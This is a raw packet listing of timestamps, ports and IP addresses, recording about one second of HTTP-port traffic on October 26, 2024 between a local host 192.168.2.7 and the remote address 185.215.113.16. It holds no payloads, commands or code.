Oct 26, 2024 08:53:58.798365116 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.798376083 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.798393011 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.798414946 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.798422098 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.798454046 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.798557997 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.798609018 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.798643112 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.798648119 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.798666954 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.798677921 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.798685074 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.798712969 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.798748970 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.798753977 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.798788071 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.798976898 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.799029112 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.799062967 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.799088001 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.799097061 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.799113035 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.799139977 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.799149990 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.799185991 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.799189091 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.799223900 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.799223900 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.799258947 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.799266100 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.799295902 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.799299002 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.799335957 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.799490929 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.799525976 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.799547911 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.799561024 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.799565077 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.799599886 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.837074041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.837093115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.837105989 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.837125063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.837152004 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.851243019 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.851262093 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.851274967 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.851303101 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.851404905 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.855504990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.855536938 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.855549097 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.855560064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.855592966 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.855624914 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.880975008 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.880995989 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.881011009 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.881041050 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.881079912 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.885535955 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.885557890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.885569096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.885605097 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.885618925 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.885632992 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.885646105 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.885658026 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.885682106 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.908061028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.908144951 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.908178091 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.908216953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.908231974 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.908256054 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.908257961 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.908296108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.908350945 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.912369013 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.912447929 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.912482977 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.912517071 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.912539005 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.912575006 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.912586927 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.912609100 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.912635088 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.912651062 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.912661076 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.912707090 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.912708044 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.912741899 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.912751913 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.912779093 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.912791014 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.912812948 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.912817955 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.912859917 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.912872076 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.912904978 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.912942886 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.912950993 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.912975073 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913021088 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913021088 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913033009 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913142920 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913177967 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913192987 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913216114 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913223028 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913254023 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913264036 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913291931 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913327932 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913332939 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913367033 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913382053 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913419008 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913420916 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913475990 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913510084 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913522959 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913547993 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913556099 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913584948 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913599968 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913625956 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913630009 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913657904 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913674116 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913702011 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913853884 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913904905 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913908958 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913944960 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.913954973 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.913990021 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.914014101 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.914055109 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.914072990 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.914124966 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.914124966 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.914170980 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.914180040 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.914216995 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.914252996 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.914266109 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.914288998 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.914298058 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.914324999 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.914360046 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.914364100 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.914397001 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.914424896 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.914433956 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.914446115 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.914479017 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.914737940 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.914773941 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.914808989 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.914823055 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.914849997 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.954823017 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.954879045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.954920053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.954936981 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.966586113 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.966626883 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.966666937 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.966674089 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.966754913 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.966754913 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.972881079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.972918034 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.972939968 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.972955942 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.973179102 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.997108936 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.997159958 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.997201920 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:58.997198105 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.997292995 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:58.997431993 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.003240108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.003276110 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.003329992 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.003338099 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.003381968 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.003421068 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.003431082 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.025742054 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.025779963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.025816917 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.025846004 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.025851965 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.025882006 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.025887012 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.025923014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.025935888 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.025959969 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.026006937 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.027487040 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.027518988 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.027580023 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.027576923 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.027614117 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.027652025 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.027657986 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.027657986 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.027688026 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.027695894 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.027726889 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.027733088 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.027771950 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.027781963 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.027817965 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.027849913 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.027853966 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.027884007 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.027894020 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.027901888 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.027931929 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.027940989 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.027982950 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028007030 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028059959 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028095007 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028106928 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028131008 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028146029 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028184891 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028222084 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028275013 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028323889 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028326035 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028362036 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028371096 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028405905 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028409004 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028441906 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028450012 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028485060 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028579950 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028631926 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028666019 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028678894 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028714895 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028753042 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028789043 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028806925 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028842926 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028856993 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028894901 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028896093 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028934002 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028951883 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.028969049 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.028975010 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029006958 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029011965 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029042006 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029066086 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029078960 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029094934 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029114962 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029145002 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029160023 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029345989 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029380083 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029396057 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029417992 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029422998 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029454947 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029465914 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029499054 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029548883 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029583931 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029611111 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029639959 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029640913 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029676914 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029712915 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029720068 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029747963 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029756069 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029788971 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029788971 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029822111 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.029843092 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.029859066 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.030087948 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.030122042 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.030149937 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.030155897 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.030165911 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.030200958 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.072252035 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.072304964 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.072346926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.072360992 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.081444025 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.081476927 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.081506968 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.081557035 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.090313911 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.090375900 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.090394974 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.090418100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.090483904 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.111197948 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.111234903 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.111270905 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.111306906 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.111407995 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.120676041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.120703936 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.120729923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.120748043 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.120752096 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.120764971 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.120791912 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.142812967 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.142857075 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.142895937 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.142946959 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.142961025 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.142966986 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.142982006 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.142996073 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.143002987 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.143009901 CEST	80	49981	185.215.113.16	192.168.2.7
